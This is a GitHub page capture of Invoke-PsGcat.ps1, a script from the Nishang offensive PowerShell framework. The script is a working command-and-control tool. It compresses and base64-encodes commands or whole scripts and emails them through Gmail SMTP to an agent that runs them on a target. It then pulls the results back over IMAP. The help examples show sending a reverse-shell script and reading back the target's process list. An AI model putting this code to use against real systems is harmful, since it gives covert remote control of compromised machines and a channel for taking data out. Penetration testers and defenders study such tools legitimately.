-
Notifications
You must be signed in to change notification settings - Fork 2.4k
/
Invoke-PsGcat.ps1
299 lines (248 loc) · 10.8 KB
/
Invoke-PsGcat.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
function Invoke-PSGcat
{
<#
.SYNOPSIS
Nishang script which can be used to send commands and scripts to Gmail which can then be run on a target using Invoke-PSGcatAgent.
.DESCRIPTION
This script is capable of sending commands and/or scripts to Gmail. A valid Gmail username and password is required.
The command is compressed and base64 encoded and sent to the Gmail account. On the target, Invoke-PsGcatAgent must be executed
which will read the last sent command/script, decode it, execute it and send the output back to Gmail.
In the Gmail security settings of that account "Access for less secure apps" must be turned on. Make sure that you use
a throw away account.
In the interactive mode, to execute a script, type "script" at the PsGcat prompt and provide full path to the script.
To read output, type "GetOutput" at the PsGcat prompt.
Currently, the output is not pretty at all and you will see the script interacting with Gmail IMAP.
.PARAMETER Username
Username of the Gmail account you want to use.
.PARAMETER Password
Password of the Gmail account you want to use.
.PARAMETER AgentID
AgentID is currently unused and would be used with multiple agent support in future.
.PARAMETER Payload
In Non-interactive mode, the PowerShell command you want to send to the Gmail account.
.PARAMETER ScriptPath
In Non-interactive mode, the PowerShell script you want to send to the Gmail account.
.PARAMETER NonInteractive
Use the non-interactive mode. Execute the provided command or payload and exit.
.PARAMETER GetOutput
Retrieve last ouput from Gmail.
.EXAMPLE
PS > Invoke-PSGcat -Username psgcatlite -password pspassword
Use GetOutput to get output.
Use Script to specify a script.
PsGcat: Get-Process
Command sent to [email protected]
Above shows an example where Get-Process is sent to Gmail.
.EXAMPLE
PS > Invoke-PSGcat -Username psgcatlite -password pspassword
Use GetOutput to get output.
Use Script to specify a script.
PsGcat: GetOutput
-----Lot of IMAP text-----
* 8 FETCH (BODY[TEXT] {5206}
System.Diagnostics.Process (BTHSAmpPalService) System.Diagnostics
.Process (BTHSSecurityMgr) System.Diagnostics.Process (btplayerct
rl) System.Diagnostics.Process (capiws) System.Diagnostics.Proces
s (conhost) System.Diagnostics.Process (conhost) System.Diagnosti
Above shows how to retrieve output from Gmail. Note that the output is ugly and you may need to run GetOutput few times
before the complete output is read. Also, the Invoke-PsGcatAgent must execute the command before an output could be retrieved.
.EXAMPLE
PS > Invoke-PSGcat -Username psgcatlite -password pspassword
Use GetOutput to get output.
Use Script to specify a script.
PsGcat: script
Provide complete path to the PowerShell script.: C:\test\reverse_powershell.ps1
Command sent to [email protected]
Use GetOutput to get output.
Use above to send a PowerShell script to the Gmail account. Script execution is not very reliable right now and you may see
the agent struggling to pull a big encoded script. Also, make sure that the function call for script is done from the
script itself.
.EXAMPLE
PS > Invoke-PSGcat -Username psgcatlite -password pspassword -Payload Get-Service -NonInteractive
Send a command to the Gmail account without any interaction.
.EXAMPLE
PS > Invoke-PSGcat -Username psgcatlite -password pspassword -ScriptPath C:\test\reverse_powershell.ps1 -NonInteractive
Send a script to the Gmail account without any interaction.
.EXAMPLE
PS > Invoke-PSGcat -Username psgcatlite -password pspassword -GetOutput
Get output from the gmail account.
.LINK
http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="Interactive")] Param(
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="Interactive")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="NonInteractive")]
[String]
$Username,
[Parameter(Position = 1, Mandatory = $false, ParameterSetName="Interactive")]
[Parameter(Position = 1, Mandatory = $false, ParameterSetName="NonInteractive")]
[String]
$Password,
[Parameter(Position = 2, Mandatory = $false, ParameterSetName="Interactive")]
[Parameter(Position = 2, Mandatory = $false, ParameterSetName="NonInteractive")]
[String]
$AgentID,
[Parameter(Position = 3, Mandatory = $false, ParameterSetName="NonInteractive")]
[String]
$Payload,
[Parameter(Position = 4, Mandatory = $false, ParameterSetName="NonInteractive")]
[String]
$ScriptPath,
[Parameter(Mandatory = $false, ParameterSetName="NonInteractive")]
[Switch]
$NonInteractive,
[Parameter(Mandatory = $false)]
[Switch]
$GetOutput
)
#$ErrorActionPreference = "SilentlyContinue"
function SendCommand ($Payload, $Username, $Password)
{
try
{
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$Payload | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()
# Base64 encode stream
$Compressed = [Convert]::ToBase64String($ms.ToArray())
#http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
$smtpserver = "smtp.gmail.com"
$msg = new-object Net.Mail.MailMessage
$smtp = new-object Net.Mail.SmtpClient($smtpServer )
$smtp.EnableSsl = $True
$smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
$msg.From = "[email protected]"
$msg.To.Add("[email protected]")
$msg.Subject = "Command"
$msg.Body = "##" + $Compressed
$smtp.Send($msg)
Write-Output "Command sent to [email protected]"
}
catch
{
Write-Warning "Something went wrong! Check if Username/Password are correct and you can connect to gmail from insecure apps."
Write-Error $_
}
}
function ReadResponse
{
try
{
$tcpClient = New-Object -TypeName System.Net.Sockets.TcpClient
# Connect to gmail
$tcpClient.Connect("imap.gmail.com", 993)
if($tcpClient.Connected)
{
# Create new SSL Stream for tcpClient
[System.Net.Security.SslStream] $sslStream = $tcpClient.GetStream()
# Authenticating as client
$sslStream.AuthenticateAsClient("imap.gmail.com");
if($sslStream.IsAuthenticated)
{
# Asssigned the writer to stream
[System.IO.StreamWriter] $sw = $sslstream
# Assigned reader to stream
[System.IO.StreamReader] $reader = $sslstream
$script:result = ""
$sb = New-Object System.Text.StringBuilder
$mail =""
$responsebuffer = [Array]::CreateInstance("byte", 2048)
function ReadResponse ($command)
{
$sb = New-Object System.Text.StringBuilder
if ($command -ne "")
{
$buf = [System.Text.Encoding]::ASCII.GetBytes($command)
$sslStream.Write($buf, 0, $buf.Length)
}
$sslStream.Flush()
$bytes = $sslStream.Read($responsebuffer, 0, 2048)
$str = $sb.Append([System.Text.Encoding]::ASCII.GetString($responsebuffer))
$sb.ToString()
$temp = $sb.ToString() | Select-String "\* SEARCH"
if ($temp)
{
$fetch = $temp.ToString() -split "\$",2
$tmp = $fetch[0] -split "\* SEARCH " -split " " -replace "`n"
[int]$mail = $tmp[-1]
$cmd = ReadResponse("$ FETCH $mail BODY[TEXT]`r`n", "1")
$cmd -replace '='
}
}
ReadResponse ""
ReadResponse ("$ LOGIN " + "[email protected]" + " " + "$Password" + " `r`n") | Out-Null
ReadResponse("$ SELECT INBOX`r`n") | Out-Null
ReadResponse("$ SEARCH SUBJECT `"Output`"`r`n")
ReadResponse("$ LOGOUT`r`n") | Out-Null
}
else
{
Write-Error "You were not authenticated. Quitting."
}
}
else
{
Write-Error "You are not connected to the host. Quitting"
}
}
catch
{
Write-Warning "Something went wrong! Check if Username/Password are correct, you can connect to gmail from insecure apps and if there is output email in the inbox"
Write-Error $_
}
}
#For only reading the output.
if ($GetOutput)
{
Write-Verbose "Reading Output from Gmail"
ReadResponse ""
}
#Non interactive
elseif ($NonInteractive)
{
#If Scriptpath is provided, read the script.
if ($ScriptPath)
{
$Payload = [IO.File]::ReadAllText("$ScriptPath") -replace "`n"
Write-Verbose "Sending Payload to [email protected] $Payload"
SendCommand $Payload $Username $Password
}
#else use the command
else
{
Write-Verbose "Sending Payload to [email protected] $Payload"
SendCommand $Payload $Username $Password
}
}
#Interactive prompt
else
{
while($Payload -ne "exit")
{
Write-Output "Use GetOutput to get output."
Write-Output "Use Script to specify a script."
$Payload = Read-Host -Prompt "PsGcat"
if ($Payload -eq "GetOutput")
{
Write-Verbose "Reading Output from Gmail"
ReadResponse ""
}
if ($Payload -eq "Script")
{
$path = Read-Host -Prompt "Provide complete path to the PowerShell script."
$Payload = [IO.File]::ReadAllText("$path") -replace "`n"
Write-Verbose "Sending Payload to [email protected] $Payload"
SendCommand $Payload $Username $Password
}
else
{
Write-Verbose "Sending Payload to [email protected] $Payload"
SendCommand $Payload $Username $Password
}
}
}
}